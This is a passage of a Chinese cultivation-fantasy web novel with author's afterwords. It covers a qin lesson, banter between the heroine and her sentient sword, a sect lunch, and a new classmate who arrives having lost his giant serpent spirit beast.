章存舒十分讨打:“真谢吗?” 关云铮强行扯起两边嘴角:“真的,比真金白银都真。” 她可太爱上学了,爱死了。 **** 饭后苏逢雨抱着琴来找楚悯上课,关云铮原本还在同楚悯闲聊,见苏逢雨来了,下意识低头看了眼楚悯放在桌上的课程安排。 确认今日并非课程开始的时间,她不敢怒也不敢言地悄悄看了眼苏逢雨。 大约当今世上的修士,人精为多,棒槌罕见,苏逢雨不用扭头就感受到了她这一眼,也明白她想要表达什么似的,语气平淡地解释了一句:“我不一定会按照安排进行教习。” 关云铮哪敢反驳,点了个头就默默退到秋千上坐下了。 本以为以苏逢雨的性子会解释方才那一句已是罕见,结果她刚坐下又听见一句:“有时候起不了那么早。” 嗯?嗯?? 顿时从脾气一般(褒义)的仙女变成接地气的美女了是怎么回事。 先前那本琴谱就放在桌上,苏逢雨看了眼便向楚悯问道:“清心曲练了几遍?” 楚悯如实回答了一个数字。 关云铮差点从正晃荡的秋千上滑下来。 什么时候弹过这么多次了?难道小悯在自己院里练习的时候,设了可以阻碍声音传播的阵法?她怎么总共也没听过几次? 苏逢雨“嗯”了一声,没对这个练习次数多做评价,但关云铮无端从中品出一丝不那么明显的满意。 两人上起课来逐渐如入无人之境,关云铮自觉不该久留,悄悄溜上连廊离开了。 归墟静悄悄的,大约多数教习弟子下山三日都颇感疲惫,宅在院中不出,她溜达了好些地方都没见着人影。 关云铮近日修为因着将隐的缘故略有长进,加之前日又去了一趟剑冢,是以此时摇羽能凭借自己的力量从剑鞘里冒出来,同她说上几句话。 它不开口倒好,一开口关云铮就想起昨晚自己分明没合上剑鞘,摇羽却被收回剑鞘的事,按说如今它能自行出鞘了,忽然被收回还出不来……那便是祂做的? 摇羽叽叽咕咕说了一大堆话,她一句也没听进去,只陷在自己的思考里:“昨夜你可曾感觉到那人的力量?” 摇羽:“……” 关云铮不明所以地看向腰间:“怎么不说话了?” 摇羽的声音听着咬牙切齿:“我,方才,就在,同你说,此事。” 关云铮忙不迭对这位祖宗表达自己的歉意:“我错了我错了,方才真没听见,您再说一遍呢?” 摇羽懒得同她计较,复述道:“那人,唔,姑且称祂为人吧,似乎没有十分清晰的力量来源。” 关云铮皱眉:“力量来源?譬如我使用的力量来自于归墟不熄鼎?” 摇羽被她这样认真的回答哄好了一点,情绪平复下来:“是。现今归墟教习弟子繁多,大多从属于各处仙门,虽然日常修习时都是用的归墟灵气,但法术与一些出招习惯,还是能感受到各自师门的特性,但祂的力量不属于其中任何一种。” 关云铮深以为然:“祂那副嚣张讨打的做派,就算在门派里,大概也是混不下去的。” 摇羽被她这样暗戳戳的记恨逗笑了,只是很快又正经道:“明日不就开课了?留着这些问题去问褚鹤贤就是,识海这种修仙入门知识,总归是他更懂一些。” 关云铮被它的用词梗了一下,佯怒道:“怎么就入门知识了?” 摇羽知道她压根没生气,漫不经心地说:“你初入门不过一月余,已经能摸到筑基的边了,还不高兴?” “你吃错灵气了?怎么还夸上我了?”关云铮一脸古怪地问。 摇羽要是有实体,此刻脸上的表情估计怪吓人的,因为它声音听着就阴恻恻的:“你吃错丹药了?怎么还更乐意听我贬你?” 关云铮背着手悠然道:“那不是没事做吗,同你斗个嘴。” 摇羽:“……” 怎么就摊上这么个主人。 一人一剑正要经过拐角,背后一个声音叫住了关云铮:“关姑娘!请留步!” 她顿住脚步回头,只见昨天那位自称叫谭一筠的人小跑着朝她而来,身后还飘着一把……折扇? 这是被扇子追着打了还是? 谭一筠跑到离她还剩一丈半的位置停下了,那折扇很给面子,没因为惯性给他后脑勺来上一下,而是自动绕了个弯,飘到了他身侧悬浮着。 看来不是追杀。 “叨扰关姑娘了。”谭一筠作了个揖。 即便是楚恽也没有这么讲规矩……关云铮简直被他这一套又一套客气的做法搞得浑身起鸡皮疙瘩,只好对他也拱了拱手:“谭兄客气。” 谭一筠穿的还是自己门派的校服,估计里头没缝什么恒温的符咒,跑了这段路出了些汗,被山风一吹,当着关云铮的面就打了个哆嗦。 差点忘了,归墟虽然还有恒温的阵法,但偶尔吹的风还是凉的。 关云铮默默往树后站了站,希望谭一筠有点眼力见跟着站过来,好歹能被树挡一挡风。 好的他没有眼力见。 关云铮默默在心里叹了口气。 谭一筠站在深秋的风里对她说:“昨日章先生说,日后修习时我同你们一起,关姑娘可有课业安排,能否予我一看?” 关云铮从乾坤袋里把那叠课表掏出来给他。 谭一筠双手接过后,那把扇子飘到他手边,伴随着他翻动课表的动作,空白的扇面上逐渐出现字迹,待他翻阅完,那扇子带着满扇面的字迹自动合上了。 过了几息后,待折扇再度展开时,上面的字迹已经消失了,扇面复归空白。 谭一筠又双手捧着课表还回来:“多谢。”注意到关云铮的目光,他解释道,“这是我的本命法器,名叫子不语,目前被我用来记录一些需要快速查阅后归还、或是短时间内记不住的东西。” 子不语? 关云铮从扇子上收回视线:“既然以后要一同修习,便不用这么客气了,你那些繁文缛节我实在是应付不来。” 谭一筠连连点头,又问:“那我还是以关姑娘称呼你?” 关云铮说完这些话便打算走人,闻言摆摆手道:“你随意。”她转念又想起什么,停下脚步看过来,“你怎么知道我姓关?” 谭一筠脸上露出不太好意思的神色,伸手捞过空中的折扇,在关云铮面前展开方才一直背对着她的另一面:“来之前我师父让我背的,归墟中人的姓名。昨日带我去寝舍的是连师姐,想必姑娘就是关云铮了。” 关云铮看了眼子不语朝着自己那面上浮现出的几行人名,挑了挑眉。 还真是个好东西—— 作者有话说:感觉谭一筠像大金毛(目移) 想要营养液(伸手)(没讨到)(倒地)(大哭)(打滚)(bushi) 第80章 苏修士与章先生的教学方式存在着根本上的差异, 或许如章先生所言,他对音修的知识只是粗通,或许也有他清楚苏修士一定会回来教导的缘故……总之章先生教习时传授的内容更宽泛笼统, 而苏修士的更细致精确。 苏修士会把一首清心曲拆解成几个部分来讲, 若某些旋律具有可运用至他处的共通性,则会着重点明, 也会告诉楚悯一支曲子要发挥“清心”“安眠”之类的效用, 主要依靠这些特殊的旋律,其他的部分则只是把旋律串联在一起,用以增强作用的,对具体的效用影响不大。 “安眠曲是由清心曲演化而来,因此只需修改这段旋律便可达到安眠的效果。”苏逢雨伸手指了指她在琴谱上做的标注。 正是昨日楚悯和云崽讨论过是否属于“八卦”范畴的那些标注。 楚悯视线微顿,苏逢雨接着说:“这段旋律若是换一种弹法……”她说着, 指尖飞快在琴弦上掠过,弹奏了一段短促的旋律, 在楚悯忍不住皱眉时停下动作,接上方才的话, “便是乱神。” 难怪, 听着总觉得有些……不舒服,短短几个音就令人无端烦闷。 苏逢雨侧目看向楚悯:“听着什么感觉?” 楚悯如实回答:“有些烦闷。” 苏逢雨颔首,把手从琴上收回:“清心曲中余下的旋律加上这一段, 即成完整的乱神。” 楚悯微愣:“除了这一段, 其他无甚区别?” 苏逢雨把琴谱合上,又把最后一页翻开:“编写这琴谱的人把乱神放在最后,或许是想让照着此谱修习的人有种豁然开朗之感,但我认为没有这种必要,乱神和清心本出自同源, 不如最初就分辨明白。” 楚悯顺着她的话往下说道:“或许是担心初学之人混淆?” 苏逢雨看了她一眼:“不必为无关之人辩说,再说了,你听完这段乱神,难道认为这两者可被轻易混淆?” 楚悯先前生活的环境,应该说今日之前生活的环境,都很少有人会这样直白地让她不要说这种表面客气、实则无甚意义的话,故而乍然听见此言,楚悯错愕了好一会儿才说:“不会混淆。” 毕竟二者蕴含的情绪截然不同。 “呲啦”一声,苏逢雨毫无预兆将最后一页琴谱撕了下来,接着重新从正面翻开琴谱,把撕下来的残页夹进清心曲的后方。 “若为所有人体贴,谁来体贴你?”她做完这一串动作后又看了楚悯一眼。 楚悯被她干脆利落的动作镇住,闻言下意识解释:“并非为所有人……” 苏逢雨挑起眉:“那我又是你的什么人?写这琴谱的又是你的什么人?值得你在我面前为他分辨吗?岂不浪费口舌,徒添烦扰?” 楚悯哑口无言。 苏逢雨把琴谱往她面前一推:“你虽天资聪颖,但太墨守成规,是觉得自己出身天问并不擅音修之道,所以缺乏信心?” 楚悯被她一句话点破,抿了抿嘴,但也无法反驳,只好点头称是。 苏逢雨面色平淡,似乎并不为她的回答感到惊讶或了然:“音修一道虽不如剑修枝繁叶茂,但前人也算不得少,后入此道者自然只能修习前人留下的琴谱,从最基础的乐理学起,但这并不意味着你就得完全照着前人写的来。”她把琴往自己面前移了些,“天问的前人难道就从未出错?” 楚悯下意识摇了摇头。 苏逢雨伸手一拂,琴弦上流出几个婉转动听的音:“需要反复卜算确认卦象的天问尚且不是从无错漏,你又为何要在音修这一道上固步自封?大可肆意打破前人设下的藩篱,若真有错漏,有我在,也可令你不至行差踏错。” 楚悯被她这一段话震慑般愣了好一会儿,才忍不住喃喃道:“苏修士为何如此倾心传授于我?” 分明她们的关系如她方才所说,非亲非故,甚至可以算得上只是萍水相逢。 苏逢雨竟然笑了一下:“我飞累了,找个树杈歇一歇,一扭头看见树杈上还有只不会飞的雏鸟,既然碰上了,总该教一教。” 毕竟走在前头的人,不正该在半途点几盏灯吗? **** 关云铮和谭一筠简单对过课表,因为明日课上就要见面,实在不想多聊,辞别过后自己继续在静悄悄的归墟里溜溜达达。 摇羽方才一声没吭,在不熟悉的人面前伪装成一把普通的剑。待谭一筠走远,才在关云铮腰间嘀咕道:“他那法器听着还怪好用的。” 关云铮心说那可不吗,要有这玩意儿期末月还熬什么夜啊,直接高浓度向低浓度渗透不就得了。 哦不行,这玩意儿只是个誊抄本,并不能帮助记忆,再渗透也渗透不进脑子。 关云铮绝望地思考了一会儿,发现还是以耗费精力为前提的将隐,更适合她这个明明看过知识点却全都被过滤出去的脑子。 所以说获取知识的过程中怎么可能不付出代价呢,关云铮顿时大彻大悟。 她半晌没动静,摇羽从剑鞘里又冒出来一截:“怎么不说话?” 关云铮面不改色地把它按回去一截:“回忆自己的惨痛过去,别吵。” 摇羽被按了一把,没好气道:“再惨痛不都过去了吗,有什么值得想的。” 关云铮脚步一顿,随即低头看向腰间:“不愧是……比我多活了快一百岁的前辈啊。” 摇羽:“……你少阴阳怪气。” 关云铮被它逗笑,随即又抬起头叹了口气:“是啊,都过去了。” “你此刻听着比我还老气横秋。”摇羽在她腰间平静指出。 唉,虽说摇羽实际上已经一百多岁了,但这就是非人的松弛感吗,怎么很多时候说话都带着一股“少年不识愁滋味”的感觉,比她无忧无虑多了。 在心里蛐蛐了两句摇羽,她忽然想起昨日同楚悯一起讨论的话题:“你说你的记忆能被将隐回溯吗?” 摇羽听着并不觉得她此言冒犯,随口答道:“我是无形之物,将隐怕是回溯不了我的记忆。” 关云铮疑惑:“这又是从何而来的结论?” 摇羽语气随意:“猜的,无形之物所能做的事有限,反过来,符咒、术法能在无形之物上发挥作用的也十分有限,若非章存舒给我找了这剑身,你也绝无可能把我放进乾坤袋中。” 关云铮点点头:“此事师父说过,乾坤袋中若是放入无形之物,其中所有的物件重量都会加诸于身。” 摇羽漫不经心地“嗯”了一声:“在你误打误撞进入剑冢之前,我能做的事不过就是偶尔操纵瀑布的水流逗弄弟子,或者在他们误闯剑冢领域时扮作鬼魂将其吓唬一番。” 关云铮的语气顿时变得很哀怨:“怎么,还不够缺德吗?” 她可是两件缺德事都赶上了,十足的受害者。 摇羽像是才想起她这个受害者似的,闻言哈哈大笑了好一会儿才说:“剑冢里不见日月,不知年岁,太无聊了,只好给自己找些乐子。就算不是你,也会有别的人,只是凑巧你来了,你师父又正好是章存舒,我难得吓唬个人,就遭报应了。只好宽慰自己是为了弥补我对你造成的惊吓,委屈一段时间,做你的佩剑了。” 关云铮幽幽道:“那真是委屈你了,前辈。” 摇羽像是忽然想起什么似的,“唔”了一声:“说起来,我知道关于你师父的一个秘密,你想不想知道?” 关云铮下意识抬头看了眼天空:大阵运行中,天气晴好,云有那么几朵,太阳也不晒,标准的秋高气爽。 嗯,没有突然打雷的风险。 她低下头看向摇羽:“你说吧。” 摇羽兴致勃勃:“你师父也学剑,此事你可知晓?” 关云铮心说不是你要说秘密吗,怎么还问起我来了,于是犹豫着:“此事……我该知晓吗?” 摇羽显然在兴头上,没在意她回答的内容,继续说道:“但你应当从未见过他的佩剑?” 这确实。 应该说她甚至没见过章存舒施法,所有的符咒术法她都没见章存舒施展过,哪怕知道护山大阵是章存舒布设的,严骛来时山下石阶也是他做出的幻境,但她也只是有这样一个认知,从未亲眼见过。 也正是因为一概没见过,章存舒在她这里的形象才总是游走于靠谱和不靠谱之间,没个清晰的能力定位。 摇羽忽而压低了声音,神神秘秘地说:“因为他的佩剑,也在剑冢里。” 关云铮被这话惊得差点平地摔了,脚下拌蒜似的走了两步,惊道:“此话当真?” 也是没想到古装剧里常见的烂台词有朝一日会被她这个专业吐槽户说出口。 摇羽也相当配合,此刻的语气活像个古装剧里的嚼舌根NPC:“那还能有假,不然你以为他是怎么进得了剑冢的。” 想进入剑冢,必须能与其中的剑互相感应。 关云铮震惊了。 她还以为章存舒真的是硬闯的! 好哇掌门这个浓眉大眼的也背叛革||命了? 当初还是他说的章存舒是硬闯进的剑冢呢,合着她完全是蒙鼓人?被耍得团团转? 难道掌门也对此事毫不知情?不能够吧? 思及此,关云铮忍不住皱起眉头:“不是死者的剑才能入剑冢吗?” 摇羽方才谈论秘密时的兴奋语气忽地消散了:“谁知道呢,他如今的剑意,同死了也没什么分别。” **** “你已经在筹备初次的幻境考核了?”蒲飞鸢在章存舒对面坐下时问道。 “尚未,只是捏个模子。”章存舒正在制作沙盘,闻言头也不抬地答道。 蒲飞鸢松了一口气:“仙盟的压力才刚走,你可别推着我了,那么多的弟子,水平各有高低,我不能保证半月后他们都有踏入幻境的资格。” 章存舒这才抬头看了她一眼:“你何时这般没信心了?” 蒲飞鸢给自己倒了杯茶,喝了口发觉是凉的,又把茶盏放下了:“你住在苍生道院不知道,昨夜那些从山下归来的弟子们,得了趁手的兵器个个都兴奋得很,懂事些的设了几个稍微能阻碍声音外泄的阵法,心宽些的干脆在院里叮呤当啷地舞了半宿。”她说到这顿觉苦不堪言,哪怕茶是凉透的也忍不住端起来灌了一口,“我起先睡了,又被吵醒,再睡不着,设了阵法耳边仍像是有舞刀弄枪的动静,索性半宿没睡。” 章存舒听她埋怨完,把初具雏形的沙盘收回乾坤袋中,给自己倒了一杯茶:“只是因为武器?” 他问完这话,意识到要是让云崽听见又该说他八卦,不由得笑了一声,喝了一口冷茶。 蒲飞鸢懒得理他:“属你通透,看破还说破,闲的?” 章存舒只笑了笑,没反驳。 蒲飞鸢索性把一整盏茶都干了,大早上的被茶冷得一激灵:“你院子里就没有热茶吗?” 章存舒伸手摸了一把茶壶,收回手时指尖那点术法的光还亮着:“热了,喝吧。” 蒲飞鸢:“……” 一时之间都不知道说什么好。 两人认识多年,在话题上有诸多不必忌讳,因此蒲飞鸢只沉默了片刻便说:“凌风起那儿,丹药是热的,炉子是热的,就连酒也是热的,你倒好,从没在你这喝过一口热茶。” 章存舒挑眉:“怎么,被我说中心事了,戳起我的心窝子来了?” 蒲飞鸢嗤了一声:“你师兄若是听见你说他是你的心窝子,怕不是要吐你一身。” 章存舒失笑:“他倒也没这么散德行。”虽然心窝子这说法委实恶心了些。 他师兄固然是个酒鬼没错,但哪怕喝得酩酊大醉也能认得他,不绕道而行都不错了,怎么可能吐他一身。 蒲飞鸢喝了一盏冷茶,又在深秋的凉风中、在冰凉的石凳上坐了这么一会儿,感觉从头到脚都清醒了,加之也懒得同章存舒多说,索性提了炽翎走了:“喝你的冷茶去吧,我去看看那群弟子,至少得让他们今晚别再舞刀弄枪了。” **** 关云铮在午饭前结束了溜达,抱着从菜地里摘的菜回到苍生道院,跟李演一起把菜择洗干净,才见到了师门众人。 闻越照例是最早来的,一进门就走到灶边观看今日菜色,顺带还揉了一把关云铮的头发。 关云铮习以为常地把自己被rua乱的头发理顺,看见楚悯和苏逢雨一同进门了。 苏逢雨见了她,对着走在自己前头的楚悯抬了抬下巴:“似乎说得狠了些,还没缓过神。” 说完她便又转身出去了,留关云铮一脸茫然又惶恐地看着她离去的背影。 “苏修士责骂你了?”关云铮问出这话自己都觉得不可置信,“应该不会吧,苏修士对姑娘家还挺友善的。” 虽然对男人确实重拳出击。 楚悯连忙摇了摇头,但很快又叹了口气:“苏修士为人……率真直爽,点明了我的问题所在。” 关云铮不解:“你有什么问题?” 她语气里的困惑如有实质,是真的不明白楚悯能有什么问题。 退一万步说,孩子都这么优秀了,有什么问题就不能溺爱一下吗? 好吧苏逢雨不像是会溺爱孩子的那一挂,她退得有点多了。 楚悯被她的语气逗笑了,摇了摇头:“之后同你说。” 两人简单说了几句话,连映和江却一前一后地跨过门槛进来了。 江却身后是难得脸上没什么笑意的章存舒。 关云铮不久前才和摇羽背后蛐蛐过师父,此刻见到章存舒稍有些心虚,发现他脸上没有笑意后顿时更心虚了,灰溜溜地拉着楚悯到桌边先坐下了。 李演炒菜的动作很快,陆续把炒好的菜端上桌,简单收拾过厨具后也在桌边坐下。 比起看着明显不太高兴的章存舒和有些低落的楚悯,以及神色如常平静的江却连映,闻越简直是在独自开朗,先凑到关云铮旁边问了句她上午都去哪了,得到回答后又凑到连映旁边问那盆花如何了。 关云铮心不在焉地边吃边听,意识到闻越说的那盆花可能是昨晚她去找师父时,连映正在修剪的花。 当时她有心事没注意,现在一回想,那花跟她这次在盈川时从乾坤袋里翻出的那朵干花……还挺像的。 是师姐放进去的?还是什么时候师父放的?毕竟乾坤袋就是师父给的,但师父会往里面放干花吗? 想不明白,她忍不住接话:“那花是牡丹吗?” 虽然她不太懂花,但莫名觉得牡丹花在古代应当比较受欢迎,猜中的概率……比较大。 闻越点点头:“是山下带回来的花种,叫碧天一色。” 碧天一色? 字面意思的话……这花是绿的? 这不对吧?她虽然记性不好,但总不至于连颜色都记错,昨日的花不管是红的还是粉的,都不可能是绿的。 连映听了一会儿两人对话,到这时忍不住无奈道:“那都哪年的老黄历了,现在这盆不是碧天一色。” 闻越闻言茫然:“我记错了?” 连映笑叹:“记错了。” 关云铮也故意跟着叹气:“师兄啊,我说你什么好。” 闻越靠近关云铮的右手拿着筷子,左手又离得远不方便,不然看他此刻的神情,似乎很想再揉一把关云铮的脑袋。 “君子动口不动手啊。”关云铮后仰。 闻越笑眯眯:“我没动手。” 关云铮狐疑地坐直了一点,下一瞬就被突然接近还飞速把筷子换到左手的闻越又揉了一下脑袋。 闻越哈哈大笑,关云铮顶着一头乱毛:“……” 发卖师兄!她要发卖师兄!—— 作者有话说:这个班真的非上不可吗(恍惚) 80-90 第81章 吃过几次关云铮下厨做的菜后, 李演也在自己的菜式上做了对应的改变,虽说原材料依旧是菜地里那些常规的蔬菜,但换了做法后吃着便没那么寡淡了。 关云铮顶着一头被闻越揉乱的头发, 忽然想起初入师门时吃到的没滋没味鸡蛋, 忍不住问道:“门中的鸡蛋为何没滋没味的?” 李演夹了一筷子菜:“怎么忽然说起这个?”他扒了一口饭,嚼完了才接着说, “那几只鸡似乎是后山的野鸡, 大概在山里四处流窜时听了不少术法符咒课吧。”? 虽然在此之前关云铮就是这么猜测的,但听到自己的猜测被他人用一种更为笃定的语气说出口还是觉得……不可思议。 那要是再让鸡旁听一阵,岂不是要开始辟谷了? 还是会立地成精? 闻越煞有介事地凑过来:“我怀疑那几只鸡曾在别处待过,寻常符咒和术法的讲授应当不至于让鸡都清心寡欲,估计至少得是每日一个时辰往上的讲经布道才行。”?怎么一副很有经验的样子。 关云铮压低了声音:“师兄是因为听过符咒和术法的课仍未能辟谷,才得出此言吗?” 闻越的笑容凝固在了脸上。 关云铮说完就警惕地往楚悯那蹭了蹭, 生怕闻越第三次来揉她这一头不能更乱的头发。 楚悯失笑:“大概山中也没什么吃食,所以那些鸡蛋味道都比较寡淡吧。” 倒也是, 毕竟整个归墟也只有苍生道有香香饭,集中教习弟子的寝舍固然会提供一日三餐, 但味道一定比不上苍生道专供。 大锅菜怎么能和小锅爆炒相提并论呢。 虽然那些吃大锅菜的弟子可能也早就辟谷了。 关云铮在饮食一事上总忍不住搞些无伤大雅的拉踩, 想到这忍不住美滋滋地想:还好当时师父选中了她,不然她上哪儿再找一个地方,既有如此美味的饭菜, 还有这么通人情的师门。 从进门起一直心情一般的章存舒此时终于开口了:“那些鸡寻常见不到踪影, 唯一能证明它们在山中存活的,便是它们不定期下的蛋。” 关云铮夹菜的动作一顿。 这算什么,幽灵鸡下的幽灵蛋? 她迟来地环视了一圈桌上的菜色,确认并无鸡蛋相关后,诡异地松了一口气。 章存舒被她的小动作逗笑, 脸上凝滞的表情终于融化开来:“近日来寻不到了,或许当真去了别处。” 关云铮“喔”了声,正打算老实吃饭,低头前却忽然瞥见对面任嵩华的脸色。 总感觉任师姐看着……似乎不大自在? 虽然他们苍生道在邀请门中他人吃饭一事上,确实是热情得有点过头了。 21世纪都快把“吃了吗”这样的家常对话从人们的生活中删除了,她一朝穿越,居然又在苍生道师门里感受到了。 “辟谷之人,吃了东西算破戒吗?”她忍不住问道。 在座只有任嵩华辟谷,是以所有人都或快或慢地停下了手中的筷箸,等待着她的回答。 “应当不算。”任嵩华说道,“无情道虽讲究无情无欲,但也没有守戒这一说。” 大概是被苍生道吃饭时热闹的氛围感化,她难得在说完这句后补上了一句:“守戒应当是,佛家的说法?” 关云铮本以为她会给出肯定的回答,被她的提问整不会了,迟疑着回答:“应当……是的?” 江却此时点点头说道:“是,我与小映入师门第二年下山游历时,与佛家的修行者同行过一段路,听他们说起过。” 关云铮一时之间不知道该先惊讶哪件事。 是该惊讶修仙世界居然有相当于道教对家的佛教文化,还是惊讶于师兄师姐下山游历竟然与佛教徒同行过一段路。 好吧排名不分先后,她都挺好奇的。 连映接话:“我们遇到的那些修行者都是苦修,不过他们应当是正道而非外道苦行,师父?” 章存舒“嗯”了一声:“并非无益极端之苦,应当是正道苦行。” 几个专有名词听得关云铮云里雾里,还是提起这话题的任嵩华看出她没听明白,又解释了一句:“外道苦行讲求无益极端之苦,譬如裸形无衣、事火、卧刺等,我对此所知不多,只知大约非常人所能忍受。”[1] 哈哈几乎只听懂了裸行无衣和卧刺。 不过还没穿越过来之前,她也算看过一些文学作品里的苦修形象,大致能明白这一大堆专有名词指的都是怎样的行为。 总之任师姐吃饭不是破戒,无伤大雅,苍生道的饭好吃,任师姐以后可以常来。 总结完毕。 **** 饭后任嵩华多留了一会儿,看出楚悯兴致不高,甚至问了一句发生何事,可有她帮得上忙的。 关云铮不得不感慨,一起吃饭当真是增进感情的最佳方式,现在不仅任师姐主动开口关怀了,听了任师姐说话她还敢在旁边点头插话了:“苏修士早上究竟说什么了?” 被两双眼睛用同样关切的目光注视着,楚悯叹了口气,坦诚道:“我总习惯于对不熟悉的人下更好的结论,偶尔还会为毫不相干的人辩护,今早苏修士便是指出了这个问题。” 虽然关云铮始终觉得鲁迅先生那句话[2]的含金量始终在上升,但只讨论善恶占比的话,她自己也倾向于去相信这世上还是好人更多,故而她疑惑道:“这应该算是个……好习惯?至少不坏?” 楚悯有些艰难地接着说:“但我……我心里可能并不是这么想的。” 她垂下眼:“我起先还宽慰自己,或许是天问一派的习惯作祟,我总是把人和事往更坏的方向想,但后来我意识到这其实无关天问,我生性就是这样一个,心里已经对人做了不好的评价,嘴上却还会矫饰的人。” 关云铮愣住,没想到楚悯的剖白这么的……狠绝。 自暴自弃一类的话总是说出口很难,而一旦开了个头,后续的话甚至不需要再添油加柴,就能像发生了化学反应一般无法遏制地汹涌而出。 楚悯依旧垂着眼睛,但语速变得快了起来:“昨日她给的那本琴谱,第一支和最后一支主干部分完全相同,只有起作用的旋律不同。苏修士说,编写此谱之人或许是想让修习的弟子在学到最后时萌生恍然大悟之感,我心中却想这不过是装神弄鬼一般的做法,不如在最初就把两支曲子放到一起。” 没人打断她。 “苏修士也是这么说的,她把最后一支曲子的琴谱撕了下来,放到了第一支曲子之后。”她说到这终于抬起眼,“我不够坦诚,太过心口不一,苏修士看出来了却没彻底点破,只是我自己……” 从方才起就沉默听着的两人终于有了动作:两人不约而同地伸手,一左一右地拍了拍楚悯的肩膀。 关云铮不太会安慰人,正绞尽脑汁地思考当下的场合说些什么才合适,谁料任嵩华收回手后忽然说道:“没有人能十足坦诚,天道也会欺骗,你作为天问应当很清楚。” “剖白至此,又何尝不是一种坦诚?你太过苛待自己了。”任嵩华平静地说。 “不要对自己太严格”这句话其实是一句安慰效用不太大的鸡汤,因为太泛泛而谈了,而每个人生活中承担的压力,和对自己的期许都各不相同,如何界定“严格”?又如何判断是否对自己“太严格”? 但兴许是任嵩华的实力得到了归墟乃至当今修仙界的认可,强者认为的“太严格”好像可以成为一个公认的标准;又或者她说这话时的语气太过平淡,似乎并不指望这句话能发挥多么大的安慰作用…… 总之任嵩华说完这话后,楚悯的脸色奇异地好看了一点。 关云铮这才敢发挥自己擅长的插科打诨:“大人不都心口不一嘛,你看师父,嘴里有几句真话。” “哎哟。” 这次刚蛐蛐完就被抓了个现行,不知何时走到她们这边的章存舒不轻不重地敲了一下她的脑袋。 其实压根不疼,但关云铮戏瘾上来了,捂着脑袋缓缓转过身:“师父。” 章存舒也压根没生气,笑眯眯地看了她一眼,又看向楚悯:“敢于承认自己的不坦诚,已经胜出他人许多了,小悯,无需苛责自己。” 话都让学霸说了,关云铮这个学渣顿时觉得自己可以不用开口了,于是默默起身给楚悯倒了一杯茶。 楚悯接过茶盏喝了一口,把内心繁杂的思绪顺着水流一起,咽回了深处。 **** 苏逢雨说话再直白,楚悯下午自然还是要听她上课的。 关云铮估摸着等明日重新开课自己又要累成狗了,打算抓紧最后这点时间煮锅奶茶喝,临走前拍拍楚悯肩膀,直言不讳道:“就是这个天问给你问傻了,一天到晚不仅卜算要问,连自己坦不坦诚也要自问。” 楚悯没想到她这么直白,差点被茶呛着,咳了好一会儿才缓过来:“云崽你……” 关云铮神色自若:“你就该,吾日三省吾身,吃饱否?睡饱否?今日坚持住不曾问否?” 楚悯再也忍不住,轻快地笑了起来。 关云铮这才放心:“我去找李厨,下午煮锅奶茶,你去学琴吧。” 她说完就扭头走了,走出去几步后还潇洒地朝楚悯摆了摆手。 不知道的还以为是要远游。 楚悯等她走上连廊,身影消失在尽头才收回目光,去自己的院子里等着苏修士的到来了。 ——只不过关云铮没能顺利煮上奶茶。 她刚走出自己的院子,就被找过来的闻越拉住:“师父找你呢。” 关云铮被他一把薅走,表情都迷茫了:“找我作甚,不是才见过吗?” 总不能是要跟她清算自己蛐蛐师父多次的账吧?不至于吧? 虽然她也不该在背后蛐蛐师父就是了。 错了,下次还敢。 闻越松开手,兴致勃勃:“过去看看不就知道了。” ……真是每天都非常羡慕三师兄这无敌的心态。 两人到了才知道,章存舒喊关云铮过来是为了迎接新来的同窗。 关云铮虽然对这事没意见,但依旧困惑为何非要自己来,故而有话直说道:“为何让我来迎接?” 章存舒也相当直白:“来人认识的其实是小悯,但小悯去上课了,所以——” 关云铮明白了,并且光速服从了安排:“小悯下山那日遇见的道友是吧?我来迎接!” 瞬间就干劲十足了! **** 然而原定在此时应当乘坐灵舟落地归墟的叶泯,却迟迟不见踪影。 难道空中也有交通拥堵?灵舟也出车祸,不是,船祸了? 哦不行,这样想太不吉利了,好歹是客人,呸呸呸。 关云铮站不动了,索性在地上坐下,左右无事可做,干脆对着阳光欣赏起左手腕上的撷光。 片刻后身侧光线一暗,她一扭头,发现章存舒和闻越也坐下来了。 撷光的表面能反射阳光,关云铮卷起袖口后,反射出的光线在地上形成了一个十分起眼的光斑。 那光斑伴随着她把玩的动作在地上移动着,闻越的视线就追着那光斑,一时落在这边,一时又跳到远处。 好像猫追光点。 不过三师兄就算是猫,应该也是奶牛猫那款的,嗯。 还没等她继续猫塑闻越,有人从不远处飞奔而来,远远见了坐在此处的三人,才在三丈开外的地方艰难地刹住脚步。 章存舒率先撑地站起身:“云崽,你日后的同窗来了。” 关云铮瞬间放下袖子撑地起身还不着痕迹地拍了拍自己身上的浮尘,整套动作行云流水,仍坐在原地的闻越直接看呆了。 来人是个少年,一头黑发全部高高束起在脑后,停下时马尾还晃荡着,能看见其中还掺了几缕小辫。 “久等了诸位,实在抱歉。”他先作了个揖,随后又报上家门,“弟子灵兽派叶泯,此番前来归墟,是为接受教习。” 章存舒正要开口,只见叶泯又作了个揖,随即直起身,语速飞快地说道:“实在惭愧,在灵舟抵达之前我发现随身带来的灵兽不见了,我担心那小东西吓着归墟的弟子,因此找到这会儿才来。”他猛地喘了一口气,“但我还没找着,诸位,帮帮忙。”—— 作者有话说:[1]外道苦行和正道苦行的概念与解释来自360百科 [2]鲁迅先生的话指的是:我向来是不惮以最坏的恶意,来揣测……——《记念刘和珍君》 营养液快破两千了(暗示) 第82章 这话叶泯敢说关云铮都不敢听——虽然她已经在毫无防备的情况下听完了, 并由衷地感到眼前咣当一黑。 什么叫“那小东西”? 她读书少见识短浅,灵兽派那边流行管巨蟒这样体格的动物……叫“小东西”吗? 关云铮艰难消化着这个事实:“你的灵兽是,那条巨蚺吗?” 叶泯原本正着急, 听见这话思绪顿时被岔开了:“你怎会知晓?” 关云铮却没空回答他:“什么时候发现不见的?” 叶泯从袖子里摸出一个状似草球的东西:“兴许是灵笼破损, 才让它逃了出来,发现时灵舟已经到青镜山脚下了。” 关云铮简直想扭头就走。 这都哪来的同窗啊, 一个差点把灵舟停在她和小悯脑袋上, 一个直接把那么大一条巨蟒弄丢了。 闯祸的叶泯汗都急出来了:“灵犀不伤人的!但它离开灵笼后,身上缩小身形的术法也会失效,若是被归墟的弟子们撞见,可能会把他们吓着。” 关云铮心说先别说归墟其他弟子了,她现在就快要被吓晕了。 但叶泯脸色红一阵白一阵的,显然是又愧疚又着急, 当事人既然已经认识到了错误,其他人也不好再咄咄逼人, 章存舒还安抚了一句:“这个时间归墟各处都没有课业安排,出门的人应当不多, 撞见你那只灵兽的可能不大。” 见叶泯脸色好些, 他才又说:“你的灵兽先前可曾走失过?” 叶泯皱着眉头想了一阵:“还真有过一次。” 